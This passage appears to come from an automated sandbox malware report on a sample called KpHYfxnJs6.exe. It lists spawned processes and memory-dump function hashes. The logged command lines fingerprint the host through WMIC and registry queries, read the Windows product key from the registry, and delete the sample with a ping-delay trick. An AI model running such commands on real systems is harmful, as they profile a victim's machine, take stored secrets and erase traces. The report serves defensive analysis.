Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5632, Parent PID: 2936

General

Target ID:	117
Start time:	01:19:52
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	118
Start time:	01:19:52
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff6eef20000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	119
Start time:	01:19:53
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	120
Start time:	01:19:53
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	121
Start time:	01:19:53
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Imagebase:	0x340000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	122
Start time:	01:19:55
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6188, Parent PID: 2852

General

Target ID:	123
Start time:	01:19:55
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	124
Start time:	01:19:55
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic path win32_VideoController get name
Imagebase:	0xf90000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	125
Start time:	01:19:56
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	126
Start time:	01:19:56
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	127
Start time:	01:19:56
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Imagebase:	0x340000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	128
Start time:	01:19:59
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\user\Desktop\KpHYfxnJs6.exe""
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	129
Start time:	01:19:59
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	130
Start time:	01:19:59
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping localhost -n 3
Imagebase:	0x6f0000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 0767837F Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

a[QF, xrefs: 076784FF

Memory Dump Source

Source File: 00000004.00000003.2879676762.0000000007672000.00000004.00000020.00020000.00000000.sdmp, Offset: 07672000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_7672000_KpHYfxnJs6.jbxd

Similarity

API ID:
String ID: a[QF
API String ID: 0-4264035995
Opcode ID: 75bd98a36188ad60de02ce91e29ded9cbb8a897b0a3597360a4493265b2987e3
Instruction ID: e94bc172a16018dec85f3ef3a8a13e53a05d3f071712b1c8f388730aae4560a4
Opcode Fuzzy Hash: 75bd98a36188ad60de02ce91e29ded9cbb8a897b0a3597360a4493265b2987e3
Instruction Fuzzy Hash: 6351333240A2D29FC702CF79D982496BF61FE5331472845DDD4C24F526C360AA2ACB9A

Function 0767AF63 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2879676762.0000000007672000.00000004.00000020.00020000.00000000.sdmp, Offset: 07672000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_7672000_KpHYfxnJs6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a38329ffaca6f46b50fb0d6fdc77241eb7021379a59e3d4c20b67fc23c1338c2
Instruction ID: 759c103369d7cfa834bbe92bcc11580713721db1a42476a1d886747c96ac4210
Opcode Fuzzy Hash: a38329ffaca6f46b50fb0d6fdc77241eb7021379a59e3d4c20b67fc23c1338c2
Instruction Fuzzy Hash: B851ECF140E7D18FC313CF38D9A5AA6BFA5AE4721531E45CCD4C28F223D2696605CB26

Function 0767AF63 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2879676762.0000000007672000.00000004.00000020.00020000.00000000.sdmp, Offset: 07679000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_7672000_KpHYfxnJs6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a38329ffaca6f46b50fb0d6fdc77241eb7021379a59e3d4c20b67fc23c1338c2
Instruction ID: 759c103369d7cfa834bbe92bcc11580713721db1a42476a1d886747c96ac4210
Opcode Fuzzy Hash: a38329ffaca6f46b50fb0d6fdc77241eb7021379a59e3d4c20b67fc23c1338c2
Instruction Fuzzy Hash: B851ECF140E7D18FC313CF38D9A5AA6BFA5AE4721531E45CCD4C28F223D2696605CB26

Function 076781F7 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2879676762.0000000007672000.00000004.00000020.00020000.00000000.sdmp, Offset: 07672000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_7672000_KpHYfxnJs6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee1ef64790ae6055115f39cb9d5af3942d76d7a9f41f9193108f7f31350ea5da
Instruction ID: e2978849986332ea1c0e24228df283aefd34652e3d08e523bbdff4d4adbf5781
Opcode Fuzzy Hash: ee1ef64790ae6055115f39cb9d5af3942d76d7a9f41f9193108f7f31350ea5da
Instruction Fuzzy Hash: 5D2122721092D18FD306CF34D494A927FA2FF8B31639A40DCD9C18F527C2B5A942CB52

Analysis Process: powershell.exePID: 8152, Parent PID: 7972COMMON

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 04E2B551 Relevance: .3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c6e7ceece4e0ce0bab77ca3b4e92aea4cfe7cf386f0a9138f39ac93789d177
Instruction ID: 93ec5c566deaa05d14fe00603a3702c59a2eca93ddea488b2887ca39405b5b04
Opcode Fuzzy Hash: 37c6e7ceece4e0ce0bab77ca3b4e92aea4cfe7cf386f0a9138f39ac93789d177
Instruction Fuzzy Hash: 59918471B007245FDB19EFB4C5155AEB7F2EF84608B00891DD44AAB344DF74690ACBE6

Function 04E2B560 Relevance: .3, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a53e64190365676c4837b0696d223af070fe87c4e005693fa96c3755362a5cb
Instruction ID: 3446c0d369f70d44754a2c17f8fae256d1eadb392f5655ce3256ed2fb0cf3c9a
Opcode Fuzzy Hash: 2a53e64190365676c4837b0696d223af070fe87c4e005693fa96c3755362a5cb
Instruction Fuzzy Hash: 93917471B006285BEB19EFB4C5155AEB7E2EF84608B00891DD50AAB344DF746D06CBE6

Function 07D42438 Relevance: 13.1, Strings: 10, Instructions: 634COMMON

Download Yara Rule

Strings

JEj, xrefs: 07D426CE
rDj, xrefs: 07D42689
JEj, xrefs: 07D424F5
4'^q, xrefs: 07D4273D
JEj, xrefs: 07D424AF
rDj, xrefs: 07D4267F
4'^q, xrefs: 07D42749
JEj, xrefs: 07D4271A
JEj, xrefs: 07D42501
JEj, xrefs: 07D42726

Memory Dump Source

Source File: 0000000E.00000002.2555958866.0000000007D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7d40000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$JEj$JEj$JEj$JEj$JEj$JEj$rDj$rDj
API String ID: 0-3284929975
Opcode ID: ffeb7e5a5944ec5a0d9838bd115bd894f467301b66959ca63d61b91d2e28c1b0
Instruction ID: 97706f321e5ac6f756e597a9cd88fad281cecaeead2fe2bf20b8a0c1b268ee75
Opcode Fuzzy Hash: ffeb7e5a5944ec5a0d9838bd115bd894f467301b66959ca63d61b91d2e28c1b0
Instruction Fuzzy Hash: 122228B17002468FDB158F69C840B6AFBE6FF89310F1480AAE955CB351DB35ED85C7A2

Function 07D43E18 Relevance: 5.6, Strings: 4, Instructions: 579
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 07D442BA
4'^q, xrefs: 07D44156
4'^q, xrefs: 07D442B0
4'^q, xrefs: 07D44160

Memory Dump Source

Source File: 0000000E.00000002.2555958866.0000000007D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7d40000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q
API String ID: 0-1420252700
Opcode ID: 2bccd2cbd77eeed369c7b3d7bf29ca6e1e06562c33046f43338995bfd98ad230
Instruction ID: 5df5fb43418ab3d8187831b5991bd99d03d26d8c12a2a923ee6f2301329f9ff7
Opcode Fuzzy Hash: 2bccd2cbd77eeed369c7b3d7bf29ca6e1e06562c33046f43338995bfd98ad230
Instruction Fuzzy Hash: 621245B1B442958FCB159B68D800B6BFBB2EFD2210F1480BAD955DF251DE32D885C7A2

Function 07D418E8 Relevance: 2.8, Strings: 2, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:j, xrefs: 07D41A5C
:j, xrefs: 07D41A6A

Memory Dump Source

Source File: 0000000E.00000002.2555958866.0000000007D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7d40000_powershell.jbxd

Similarity

API ID:
String ID: :j$:j
API String ID: 0-4217653984
Opcode ID: 9c2f3db2bbd7cd4d3eb37ed531fd9fa7de03d74b76d24f3611d4d373a6b9202d
Instruction ID: ca5ffa35a2a6d714a60a4fbf0e8763e1e10ce04dea69545f9fa6115b48facebd
Opcode Fuzzy Hash: 9c2f3db2bbd7cd4d3eb37ed531fd9fa7de03d74b76d24f3611d4d373a6b9202d
Instruction Fuzzy Hash: 54B148B1B042599FDB148BA9D8006AAFBE2EFC6210F18C0BAD555CB351DB32DD85C7A1

Function 08EB6398 Relevance: 1.6, APIs: 1, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE(EE340896), ref: 08EB6402

Memory Dump Source

Source File: 0000000E.00000002.2559905641.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8eb0000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 7194726fda64a2fc51174a7d997fb4f9be648ee535f2d38910f2f4e31675a9b3
Instruction ID: 5dd2b8d85b595874ad6dd399af042e3d1077f88ff4eb7213d2a92f8f1b9d5da9
Opcode Fuzzy Hash: 7194726fda64a2fc51174a7d997fb4f9be648ee535f2d38910f2f4e31675a9b3
Instruction Fuzzy Hash: 921104B59002598FCB10DF99D944BDEFBF4AB88324F148429D459A7260C775A944CFA1

Function 08EB63A0 Relevance: 1.5, APIs: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE(EE340896), ref: 08EB6402

Memory Dump Source

Source File: 0000000E.00000002.2559905641.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8eb0000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 149640a5eda2077c0194bfef5bdaae86b4e3db1f6604441e19bce9f1449f4070
Instruction ID: ee46671862461b63d93f317b515af5ffa426e5c6d31b21cbf2f64e6cffa5d2e1
Opcode Fuzzy Hash: 149640a5eda2077c0194bfef5bdaae86b4e3db1f6604441e19bce9f1449f4070
Instruction Fuzzy Hash: 701136B19002188FCB10DF9AC944BDEFFF8EB48324F148429D458A7320C775A944CFA0

Function 04E270A0 Relevance: 1.4, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 04E271C5

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 6a0dacf6a9fa6304dab60d219d2acc5e18058fea4f32bd5131d4c535702295f3
Instruction ID: b69f876a48f28c0705477e2a2fba12126ee4f1dd4162967a511b55716a7cc3e1
Opcode Fuzzy Hash: 6a0dacf6a9fa6304dab60d219d2acc5e18058fea4f32bd5131d4c535702295f3
Instruction Fuzzy Hash: D9413C34B002158FDB159F68C5A4AAEBBF1EF8E315F1451A9E402BB395CB35EC01CB60

Function 04E2B068 Relevance: 1.3, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(&^q, xrefs: 04E2B08A

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID: (&^q
API String ID: 0-2067289071
Opcode ID: 92e27c2eddd991760ba52bffeddc2e345100fd5798537fa0d9fd11ec11228e4e
Instruction ID: 43983a9d0f6cb99b753469db03f973ab21d5b064153618909fd39a433c244a0f
Opcode Fuzzy Hash: 92e27c2eddd991760ba52bffeddc2e345100fd5798537fa0d9fd11ec11228e4e
Instruction Fuzzy Hash: EE21BC31A042688FCB14DFAED904A9EBBF5EB88324F14846ED018A7340CA75A805CFA5

Function 04E2D351 Relevance: 1.3, Strings: 1, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

</9j, xrefs: 04E2D3A2

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID: </9j
API String ID: 0-189504548
Opcode ID: 7da619cd83372a0e6279bca87e18b0cc539799db8e24cf82bcbfe3301466d595
Instruction ID: 87416c8a7cab09942fff17af0adf88d7c0ba4c18a24d09e85c31b259bed7432c
Opcode Fuzzy Hash: 7da619cd83372a0e6279bca87e18b0cc539799db8e24cf82bcbfe3301466d595
Instruction Fuzzy Hash: E9218B343002509FCB01DB78DA40E5ABBE5EF8A21870484AAE449DF766DB34EC05CBA1

Function 04E2D360 Relevance: 1.3, Strings: 1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

</9j, xrefs: 04E2D3A2

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID: </9j
API String ID: 0-189504548
Opcode ID: d0650632f96534075341c481465b8440fe07ba5b1cbaab4baa78a59d0987f15f
Instruction ID: e47bd2f0fb288bf111ec0ca06456ed2da7bcbc39cdc4449c2242d26236d9f753
Opcode Fuzzy Hash: d0650632f96534075341c481465b8440fe07ba5b1cbaab4baa78a59d0987f15f
Instruction Fuzzy Hash: CD2179743002149FDB04DF69DA80E5EBBE6EF8A218B00C569E40ADB765DB34FC05CBA0

Function 04E229F0 Relevance: .2, Instructions: 222
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f0897fa07006f2a6102ea6495cc7a412471a3bea4e9e4fe5cb5a3a3c47cea1b
Instruction ID: 25264fb5d2086c822577fb762dcd6dbbe9d8c3a01b07007f7f78dbc7d8503998
Opcode Fuzzy Hash: 9f0897fa07006f2a6102ea6495cc7a412471a3bea4e9e4fe5cb5a3a3c47cea1b
Instruction Fuzzy Hash: 1391BBB0A002199FCB15CF58C5C49AEFBB1FF88310B248699D955AB3A5C736FC52CB90

Function 04E2BB90 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3802382024b00dae73befd015c9ab031def95482836f55485ee76288bcd5cbd5
Instruction ID: 252db78c2f9226cbf07f58e76d12d5b3f1c484e39f6a2af9fdba6224e901bff8
Opcode Fuzzy Hash: 3802382024b00dae73befd015c9ab031def95482836f55485ee76288bcd5cbd5
Instruction Fuzzy Hash: 5F611971E002588FCB14DFA9D6846DDBBF5EF88314F14816AE819AB364EB34AC45CB60

Function 04E27800 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbbecae137a982dfd4d42fa1aac5ae1d1000ec3c57ed4b79a722316f16fdaf81
Instruction ID: bc45c7c75004157b21d4cc19985be84a87eb2f324caab4de4558052ea0af191c
Opcode Fuzzy Hash: fbbecae137a982dfd4d42fa1aac5ae1d1000ec3c57ed4b79a722316f16fdaf81
Instruction Fuzzy Hash: F151D0343002259FD708DB69D944A6AB7E6FFC8258B1594A9E509CB352EB35EC01CBA0

Function 04E2BB80 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc1ba62508b71a39276bb781dad9de36de389d02b202f92942aac3c6c6261247
Instruction ID: d77a8a471fc9634fc8ae8fcea08ccbe2c38b26bcfaf74f3118d0d9fcdf6e0781
Opcode Fuzzy Hash: cc1ba62508b71a39276bb781dad9de36de389d02b202f92942aac3c6c6261247
Instruction Fuzzy Hash: 74513971E00258CFCB15DFA9D684ADDBBF5FF88314F148069E819AB365EB34A845CB60

Function 07D43DFD Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2555958866.0000000007D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7d40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b7581862594ced8dc9f1f92173d6147f9a91873886a08de31df45a31b3c80c5
Instruction ID: 4249e5b904d26cf516f3e3283258b92a4e48e83a7ba8e08b19c3f2510a83089a
Opcode Fuzzy Hash: 3b7581862594ced8dc9f1f92173d6147f9a91873886a08de31df45a31b3c80c5
Instruction Fuzzy Hash: CF4114F0A452429FDF24CF6CC802A6AFBF2EF81250F1580A6D900AF255DB32D885C7E5

Function 04E22B00 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73e7dd944655e0712b1b23e43f50b365a16e2ed5542f8f538a7d35c1dbbf2473
Instruction ID: d6f88298c6b444c06edbbf0e4298b372879834325208441c6597bbb0bce48d70
Opcode Fuzzy Hash: 73e7dd944655e0712b1b23e43f50b365a16e2ed5542f8f538a7d35c1dbbf2473
Instruction Fuzzy Hash: B34158B4A006198FCB09CF58C6989AEFBB1FF48314B118699D915AB364C736FC51CFA0

Function 04E27070 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 269651c8fa00bb98ee8ddd57260f55f0ba1dcab739eed014f083189828762090
Instruction ID: 65a8a0776138f8763b8f823dbaf7489fc4022870a98c7aec4db8d88238e9e494
Opcode Fuzzy Hash: 269651c8fa00bb98ee8ddd57260f55f0ba1dcab739eed014f083189828762090
Instruction Fuzzy Hash: B9316035A042158FDB15CF64C694AAABBF2EF8D315F1950A9D442BB351DB34EC41CF60

Function 04E2C458 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a0551072222716a2c5068cc622cb44230b316436a0650331c3d5d8acd55d89c
Instruction ID: 5775a04ebdc0a495d09f8a6c7e2a990ad419d2c0807eb592c2f56ddb679337a4
Opcode Fuzzy Hash: 1a0551072222716a2c5068cc622cb44230b316436a0650331c3d5d8acd55d89c
Instruction Fuzzy Hash: 6A3189313006119FD705EB78E954A9EB7A2EFC4215F008639EA0ACB3A5DF71E945CBA1

Function 04E2AF2F Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51af8bea72a38fb8601b3e20c8db4466adbae697f04766dc4b2ab0650f43cf0a
Instruction ID: f0b5ebe927abb31e29b1560211cbe030db21bf92a8528c6af7139359b659803e
Opcode Fuzzy Hash: 51af8bea72a38fb8601b3e20c8db4466adbae697f04766dc4b2ab0650f43cf0a
Instruction Fuzzy Hash: DB319F70A002199FDB45EFB9D594BAEBBF6EF88314F149029E405EB350EB349C418F61

Function 04E2AF40 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f114b506b1062babac6a6987569e96de188089b5fbafdccbeac3aa82211e86b5
Instruction ID: 9e80b7ac5f80c2141237c69191a1e9924cc7953b07dc80f60cba536be6c28b99
Opcode Fuzzy Hash: f114b506b1062babac6a6987569e96de188089b5fbafdccbeac3aa82211e86b5
Instruction Fuzzy Hash: 0D316F70A002199FDB45EFB9D594BAEBBF6EF88314F149029E405EB350EB34AC418F64

Function 04E2E2C8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 834d464f87bb863abb1cb196691436912fc83d656c6874ae7a797c9adcda52d3
Instruction ID: e764cf536480a57cda2709bcb219e5facf9523be3b549ac80c7067014b732542
Opcode Fuzzy Hash: 834d464f87bb863abb1cb196691436912fc83d656c6874ae7a797c9adcda52d3
Instruction Fuzzy Hash: 1C315E74B002148FCB04DF68D5A8AAEBBF1EF88715F044529D406EB391DF34AD41CBA1

Function 04E2ADF8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

